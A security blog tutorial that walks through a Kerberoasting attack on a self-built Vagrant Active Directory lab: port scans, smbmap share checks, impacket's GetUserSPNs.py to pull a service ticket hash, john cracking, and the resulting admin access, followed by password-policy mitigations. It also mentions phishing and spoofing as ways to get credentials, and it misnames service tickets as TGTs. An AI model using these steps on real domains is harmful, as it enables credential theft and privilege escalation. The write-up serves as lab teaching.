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Roasting Kerberos

Attacking a DC using kerberoast
Windows Active Directory is the most popular domain service out there. Companies around the world use it for their authentication and authorization services. Windows AD works using the Kerberos protocol, and we can exploit it's functionality to obtain user hashes.
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Kerberos is a protocol developed by the MIT used to authenticate network services, is built using secret key cryptography and using a trusted third party server (named Authentication Server). This protocol authenticates users and services using tickets, when a client wants to log in it authenticates with the Authentication Server (AS), which forwards the username to a Key Distribution Center (KDC) and issues a Ticket-Granting Ticket (TGT), this ticket is treated as the user’s proof of identity.

The process of how kerberos protocol works is like this:

  1. The client sends a request to to the AS soliciting a TGT, this request is built using the machine computer time and encrypting it with the users password hash.

  2. Then the server verifies the users authentication data, and responds back to the client with a TGT and a session key for the TGT, since the AD (Active Directory) has the password it can decrypt the request.

  3. Now the client is able to request service tickets because it has a valid TGT for the domain. Here the client sends a request for a service ticket.

  4. Again the server verifies the validity of the TGT, then it responds back with the service ticket and a service session key.

Kerberoast attack was discovered by Tim Medin, works by requesting Kerberos TGTs to the AS (action that any valid domain user can do), this tickets are a hash that we can crack in order to access to the server with elevated privileges or to impersonate another user.

In order to do this attack you will need a valid domain user, so any employee of an organization can exploit this. If you are an anonymous attacker on the network, there is several ways to obtain user credentials, this includes doing a MDNS spoofing attack on the network (Responder), an Evil Twin attack to the wireless network if they have enterprise security, a phishing email attack that uses an enterprise login with the AD, among others.

Kerberoast lab

To set up our lab we are going to use Hashicorp’s Vagrant, here are the source files. Create a folder with the name kerberoast then save the Vagrantfile there, also create another folder inside kerberoast named provision and save the file ad.ps1 there:

setting up the lab
$ mkdir kerberoast
$ cd kerberoast
kerberoast$ nano Vagrantfile #Add here the content
kerberoast$ mkdir provision
kerberoast$ nano provision/ad.ps1 #Add here the content
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "cdaf/WindowsServerDC"
  config.vm.hostname = "winserver"
  config.vm.network "private_network", ip: ""
  config.vm.provision "shell", path: "provision/ad.ps1"

Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
import-module activedirectory
New-ADuser -Name "kertest" -SamAccountName kertest -Enabled $true -AccountPassword (ConvertTo-SecureString -AsPlainText "SuperSecure@123!!!" -Force)
New-ADuser -Name "svctest" -SamAccountName svctest -Enabled $true -AccountPassword (ConvertTo-SecureString -AsPlainText "Monkey.123" -Force)
setspn -A sky.net/kertest kertest
setspn -A sky.net/svctest svctest
Add-ADGroupMember -Identity "Administrators" -Members svctest
Add-ADGroupMember -Identity "Users" -Members kertest

Then run the environment using:

vagrant up
kerberoast$ vagrant up

This will create a Windows machine with Active Directory installed and configured, also will set our users to make this attack work, and set all the things that we will need.

It could take a while so, we can start to set up our attacking machine. Here we are using Kali Linux with Vagrant too, but you can use whatever OS that you want.

This are the tools that we are going to use:

If you are using Kali the only thing that needs to be installed is impacket. We need to cloned it first:

clonning impacket
$ git clone https://github.com/SecureAuthCorp/impacket

Then go to the folder and install it:

installing impacket
$ cd impacket
impacket$ pip install -r requirements.txt
impacket$ python setup.py

The IP of our target server is, the domain is sky.net and our low privilege domain credentials are kertest:SuperSecure@123!!!.

We are ready to go.

Scanning our server

First we need to check the server ports, we can use nmap or ncat to do it:

port scannning
$ nmap
$ ncat -vz 88
$ ncat -vz 445
# Nmap 7.70 scan initiated Tue Aug  6 17:10:43 2019 as: nmap
Nmap scan report for
Host is up (0.012s latency).
Not shown: 991 filtered ports
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
3268/tcp open  globalcatLDAP
3389/tcp open  ms-wbt-server
# Nmap done at Tue Aug  6 17:10:54 2019 -- 1 IP address (1 host up) scanned in 10.54 seconds
nc inverse host lookup failed: Unknown host
(UNKNOWN) [] 88 (kerberos) open inverse host lookup failed: Unknown host
(UNKNOWN) [] 445 (microsoft-ds) open

Kerberos runs on port 88 and SMB runs on port 445, we are going to use this services in order to attack the Domain Controller.

Then using smbmap we can check our permissions on the server:

samba low privileges
$ smbmap -u kertest -p 'SuperSecure@123!!!' -H -d sky.net
smbmap low
[+] Finding open SMB ports....
[+] User SMB session establishd on
[+] IP:        Name:
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    READ ONLY
        NETLOGON                                                READ ONLY
        SYSVOL                                                  READ ONLY

As we can see, our user has no permissions on the server but is a valid domain user.


Given that we have an active user we can exploit kerberoast to retrieve TGTs. This is done by simply running:

kerberoast attack
impacket/examples$ python GetUserSPNs.py sky.net/kertest -dc-ip -save

And when prompted put the password SuperSecure@123!!!.

kerberoast output
ServicePrincipalName  Name     MemberOf                                   PasswordLastSet       LastLogon

sky.net/kertest       kertest  CN=Users,CN=Builtin,DC=sky,DC=net           2019-08-06 17:06:03  2019-08-06 17:31:20
sky.net/svctest       svctest  CN=Administrators,CN=Builtin,DC=sky,DC=net  2019-08-06 17:06:03  <never>


Here we have our TGTs, they are krbtgt hashes and there we can view another user on the server svctest. With this we save that user’s TGT on a file:

save hash
echo '$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2' > hashkerber

And then crack it using john, a SecLists dictionary and KoreLogic ruleset:

john cracking
$ john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules=KoreLogic hashkerber
john output
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123       (?)
1g 0:00:01:09 DONE (2019-08-06 17:15) 0.01446g/s 150941p/s 150941c/s 150941C/s Michae.l118..Asdfgh.jkl24
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And is cracked! Then we can check our access running smbmap again with our new set of credentials:

samba high privileges
$ smbmap -u svctest -p 'Monkey.123' -d sky.net -H
admin smbmap
[+] Finding open SMB ports....
[+] User SMB session establishd on
[+] IP:        Name:
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  READ, WRITE
        C$                                                      READ, WRITE
        IPC$                                                    READ ONLY
        NETLOGON                                                READ, WRITE
        SYSVOL                                                  READ, WRITE
        [!] Unable to remove test directory at \\\SYSVOL\edWFuwvkCb, plreae remove manually

As you can see we now have administrative access on our server, you can try to access it by RDP or retrieve files using SMB. Also you can dump the SAM to get more users and hashes, this last ones are NTLMv1 and easily cracked.

Here is the exploitation process:


There is no solution to this attack because it is exploiting the way of how the protocol works, any user in the domain can exploit this vulnerability and is only a question of time to crack those credentials.

The way that you can mitigate this is by using a strong credential policy, that passwords must be longer than 20 characters, containing upper and lower cases, symbols, digits and not easily guessable, preferably passphrases.

This is specially useful when you are dealing with service credentials, because is the ones that are target the most. You can also put an alert when someone is logged in with your most critical and high privileged users.

If you want more information about strong credentials you can check our rules about it.

Author picture

Jonathan Armas

Systems Engineer, Security+

"Be formless, shapeless like water" Bruce Lee


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